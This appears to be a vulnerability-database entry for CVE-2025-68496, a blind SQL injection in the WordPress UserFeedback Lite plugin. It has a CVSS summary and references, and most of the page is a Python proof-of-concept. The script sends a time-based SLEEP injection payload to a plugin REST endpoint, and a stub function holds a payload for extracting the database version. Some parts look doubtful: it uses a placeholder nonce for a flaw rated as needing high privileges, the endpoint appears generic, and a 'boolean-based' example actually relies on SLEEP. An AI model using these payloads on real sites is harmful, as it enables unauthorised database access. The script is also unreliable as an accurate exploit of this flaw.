CVE-2025-68496

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Syed Balkhi User Feedback userfeedback-lite allows Blind SQL Injection.This issue affects User Feedback: from n/a through <= 1.10.0.

CVSS Details

CVSS Score

7.6

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L

Configurations (Affected Products)

No configuration data available.

UserFeedback Lite <= 1.10.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-68496 Blind SQL Injection PoC
# Target: WordPress UserFeedback Lite Plugin <= 1.10.0
# Type: Time-based Blind SQL Injection

import requests
import time

target_url = "http://target-site.com/wp-json/userfeedback/v1/feedback"

# SQL Injection payload - time-based blind injection
# Testing with SLEEP() function to confirm vulnerability
payload_blind = "1' AND (SELECT * FROM (SELECT(SLEEP(5)))test) AND '1'='1"

headers = {
    "Content-Type": "application/json",
    "X-WP-Nonce": "attacker-controlled-nonce"
}

data = {
    "feedback_id": payload_blind,
    "feedback_type": "general"
}

print("[*] Testing CVE-2025-68496 Blind SQL Injection...")
start_time = time.time()

try:
    response = requests.post(target_url, json=data, headers=headers, timeout=30)
    elapsed = time.time() - start_time
    
    if elapsed >= 5:
        print("[+] Vulnerability confirmed! Response delay detected.")
        print(f"[+] Response time: {elapsed:.2f} seconds")
    else:
        print("[-] No delay detected or patch already applied")
except requests.exceptions.RequestException as e:
    print(f"[-] Request failed: {e}")

# Boolean-based extraction example (abbreviated)
def extract_data():
    # Extract database version using substring
    version_payload = "1' AND IF(SUBSTRING((SELECT VERSION()),1,1)='5',1,SLEEP(5)) AND '1'='1"
    # Implementation would iterate through characters
    pass

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-68496
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-68496
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-68496/
[4] VulDB https://vuldb.com/cve/CVE-2025-68496
[5] https://patchstack.com/database/Wordpress/Plugin/userfeedback-lite/vulnerability/wordpress-user-feedback-plugin-1-10-1-sql-injection-vulnerability?_s_id=cve

Raw JSON Data

JSON

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